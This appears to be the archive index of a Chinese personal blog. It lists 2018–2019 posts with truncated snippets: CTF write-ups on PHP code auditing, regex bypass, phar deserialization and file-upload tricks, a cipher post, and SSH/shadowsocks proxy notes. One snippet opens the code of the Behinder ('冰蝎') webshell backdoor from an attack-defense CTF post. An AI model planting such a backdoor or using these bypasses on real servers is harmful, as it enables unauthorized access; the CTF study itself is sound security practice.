归档 | hhblog

2019

10

11

easy - function<?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? ''; if(preg_match('/^[a-z0-9_]*$/isD',

2019-10-11 writeup

代码审计

07

冰蝎后门shell.php <?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand

2019-10-07 awd

09

07

boring code(绕正则)在index.php中 // index.php  // /code <?php function is_v

2019-09-07 writeup

代码审计 bypassDF phar反序列化

08

30

古典密码base64base64_table = ['=','A', 'B', 'C', 'D','E','F','G&

2019-08-30 密码学

20

checkin(文件上传 user.ini)上传一个文件 <?php // error_reporting(0); $userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]); if (!

2019-08-20 writeup

代码审计 bypassDF phar反序列化 sql注入伪静态文件 python_urllib

2018

09

07

例子1将vps流量代理到本地情景：有一台国外服务器，当梯子用 ssserver将 ssserver -p 2333 -k password -m aes-256-cfb本地连接通过命令行连接或者ss客户端 sslocal -s x.x.

2018-09-07 网络

ssh

07

SSH命令SSH命令参数 (大小写注意区分) 正向代理 ssh -fCNL 反向代理 ssh -fCNR -f 后台执行ssh指令 -C 允许压缩数据 -N 不执行远程指令 -R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口

2018-09-07 网络

ssh